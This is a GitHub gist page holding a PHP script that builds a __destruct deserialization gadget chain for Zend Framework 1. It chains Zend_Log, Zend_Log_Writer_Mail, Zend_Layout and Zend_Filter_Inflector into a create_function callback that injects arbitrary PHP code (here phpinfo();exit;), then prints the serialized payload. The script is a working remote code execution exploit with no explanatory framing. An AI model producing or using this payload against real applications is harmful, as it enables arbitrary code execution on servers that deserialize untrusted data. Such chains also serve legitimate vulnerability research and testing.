Skip to content

Instantly share code, notes, and snippets.

@YDyachenko
Created November 10, 2020 08:36
Show Gist options
  • Star 38 You must be signed in to star a gist
  • Fork 14 You must be signed in to fork a gist
  • Save YDyachenko/6f60709ce0fc346d0cc0252e07c6aa38 to your computer and use it in GitHub Desktop.
Save YDyachenko/6f60709ce0fc346d0cc0252e07c6aa38 to your computer and use it in GitHub Desktop.
`__destruct` Gadget chain for ZF1
<?php
class Zend_Log
{
protected $_writers;
function __construct($x)
{
$this->_writers = $x;
}
}
class Zend_Log_Writer_Mail
{
protected $_eventsToMail;
protected $_layoutEventsToMail;
protected $_mail;
protected $_layout;
protected $_subjectPrependText;
public function __construct(
$eventsToMail,
$layoutEventsToMail,
$mail,
$layout
) {
$this->_eventsToMail = $eventsToMail;
$this->_layoutEventsToMail = $layoutEventsToMail;
$this->_mail = $mail;
$this->_layout = $layout;
$this->_subjectPrependText = null;
}
}
class Zend_Mail
{
}
class Zend_Layout
{
protected $_inflector;
protected $_inflectorEnabled;
protected $_layout;
public function __construct(
$inflector,
$inflectorEnabled,
$layout
) {
$this->_inflector = $inflector;
$this->_inflectorEnabled = $inflectorEnabled;
$this->_layout = '){}' . $layout . '/*';
}
}
class Zend_Filter_Callback
{
protected $_callback = "create_function";
protected $_options = [""];
}
class Zend_Filter_Inflector
{
protected $_rules = [];
public function __construct()
{
$this->_rules['script'] = [new Zend_Filter_Callback()];
}
}
$code = "phpinfo();exit;";
$a = new \Zend_Log(
[new \Zend_Log_Writer_Mail(
[1],
[],
new \Zend_Mail,
new \Zend_Layout(
new Zend_Filter_Inflector(),
true,
$code
)
)]
);
//echo urlencode(serialize(['test' => $a]));
echo json_encode(serialize(['test' => $a]));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment